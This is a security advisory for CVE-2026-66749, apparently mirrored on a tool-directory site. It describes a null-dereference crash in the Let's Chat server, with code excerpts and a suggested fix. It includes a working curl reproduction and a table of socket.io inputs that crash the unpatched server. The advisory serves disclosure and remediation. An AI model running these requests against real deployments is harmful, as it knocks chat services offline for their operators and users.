Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-66749-Unchecked-Room-Lookup-Leads-to-Server-Crash-Let-s-Chat- — Security Advisory: Unchecked Room Lookup Leads to Server Crash (Let's Chat) | Kitploit
Tools/GitHubGitHub/theopaid/cve-2026-66749-unchecked-room-lookup-leads-to-server-crash-let-s-chat-
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & Education
GitHubtheopaid/cve-2026-66749-unchecked-room-lookup-leads-to-server-crash-let-s-chat-

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-66749-Unchecked-Room-Lookup-Leads-to-Server-Crash-Let-s-Chat-

Security Advisory: Unchecked Room Lookup Leads to Server Crash (Let's Chat)

View Repository
23 days agoNot yet reviewed

Security Advisory: Unchecked Room Lookup Leads to Server Crash (Let's Chat)

Assigned CVE ID: CVE-2026-66749

Summary

One HTTP request from any logged-in account shuts down the Let's Chat server process.

GET /messages takes a room parameter, looks that room up by id, and then calls a method on the result without checking that the lookup returned anything. Send an id that is a valid 24 character hex string but belongs to no room, and the resulting TypeError is thrown inside a Mongoose callback. Express only catches exceptions raised synchronously inside a handler, so this one reaches Node as an uncaught exception and the process exits.

Affected versions

Repo URL: https://github.com/sdelements/lets-chat

Vulnerable from 0.4.0 (commit 84981a6, 21 Feb 2015, which introduced the canJoin call) through 0.4.8, the final release. No fixed version exists.

Confirmed on 0.4.8 at commit 617207f, and on docker.io/sdelements/lets-chat:latest (0.4.7), which is still publicly pullable.

Classification

CWE-476: NULL Pointer Dereference, leading to CWE-248 Uncaught Exception and CWE-400 Uncontrolled Resource Consumption.

CVSS 4.0 base score 7.1 (High) CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Threat model

The attacker needs one ordinary user account and network access to the HTTP port. They do not need to own or belong to any room, know any room id that exists, or hold any elevated role.

The account requirement is weak in a default install, because auth.local.enableRegistration defaults to true in defaults.yml, so anyone who can reach the login page can create an account and then run the request.

Neither the Procfile (web: npm start) nor docker/docker-compose.yml configures a supervisor or restart policy, so on a stock deployment one request takes the service down until an operator restarts it. Where an operator has added process supervision, the attacker can simply repeat the request.

Technical detail

The route registers no room validation middleware. app/controllers/messages.js:25-32:

root@kitploit:~
app.route('/messages')
    .all(middlewares.requireLogin)
    .get(function(req) {
        req.io.route('messages:list');
    })
    .post(function(req) {
        req.io.route('messages:create');
    });

Compare app/controllers/messages.js:34-41, where the room scoped variant does add middlewares.roomRoute, which resolves the room and returns 404 when it does not exist:

root@kitploit:~
app.route('/rooms/:room/messages')
    .all(middlewares.requireLogin, middlewares.roomRoute)

So on /messages the room value reaches the manager unvalidated. app/core/messages.js:118-129:

root@kitploit:~
Room.findById(options.room, function(err, room) {
    if (err) {
        console.error(err);
        return cb(err);
    }

    var opts = {
        userId: options.userId,
        password: options.password
    };

    room.canJoin(opts, function(err, canJoin) {   // line 129: room may be null

Model.findById calls back with (null, null) when the id casts cleanly but matches no document. There is no if (!room) guard, so line 129 dereferences null.

Observed output:

root@kitploit:~
events.js:174
      throw er; // Unhandled 'error' event

TypeError: Cannot read property 'canJoin' of null
    at /usr/src/app/app/core/messages.js:129:14
    at model.Query.<anonymous> (/usr/src/app/node_modules/mongoose/lib/model.js:4093:16)

Reproduction

Against a stock install on port 5000, with no configuration changes:

root@kitploit:~
BASE=http://localhost:5000

# 1. Create an account. Self registration is on by default.
curl -s -X POST $BASE/account/register \
  -H 'Content-Type: application/json' \
  -d '{"username":"mallory","email":"[email protected]",
       "password":"Passw0rd!23","password-confirm":"Passw0rd!23",
       "firstName":"M","lastName":"M","displayName":"M"}'

# 2. Log in and keep the session cookie.
curl -s -c cookie.txt -X POST $BASE/account/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"mallory","password":"Passw0rd!23"}'

# 3. Ask for the messages of a room that does not exist.
curl -s -b cookie.txt "$BASE/messages?room=507f1f77bcf86cd799439011"

Step 3 returns no body and curl exits with code 52 (empty reply from server). The server process is gone. Any id that is 24 hex characters and matches no room works.

Other instances of the same defect

express.oi registers every app.io.route(...) key as a plain socket.on(...) handler (initRoutes in node_modules/express.oi/lib/index.js). An authenticated socket.io client can therefore call these handlers directly, which skips the Express middleware chain including roomRoute. It also removes Express's try/catch, so a synchronous throw that would be a 500 over HTTP kills the process over socket.io.

Each of the following also terminates the process. Confirmed all of them.

Suggested fix

Guard the lookups. In app/core/messages.js:118 and app/core/files.js:156:

root@kitploit:~
Room.findById(options.room, function(err, room) {
    if (err) {
        console.error(err);
        return cb(err);
    }

    if (!room) {
        return cb(null, []);
    }
    ...

app/core/rooms.js:234 needs the same treatment before it calls sanitizeRoom, and app/core/rooms.js:248 should reject a missing or non string options.identifier.

Two changes would close the whole class rather than these instances. First, coerce and validate the query parameters that are assumed to be strings (expand, room, id, take, skip) at the controller boundary. Second, wrap the socket.io handler dispatch in a try/catch and attach a process.on('uncaughtException') handler so a single bad request degrades to an error response instead of stopping the server.

Download Tool
Reachable overInputThrow site
HTTP and socket.iomessages:list, room set to a nonexistent idapp/core/messages.js:129
HTTP and socket.iofiles:list, room set to a nonexistent idapp/core/files.js:167
socket.iorooms:get with a nonexistent id, or with no idapp/core/rooms.js:213 via :234
socket.iorooms:users with no roomapp/core/rooms.js:248
socket.iorooms:join with no idapp/core/rooms.js:248
socket.iomessages:list with expand as an arrayapp/core/messages.js:97
socket.iofiles:list with expand as an arrayapp/core/files.js:139
socket.iousers:get with id as an objectapp/models/user.js:139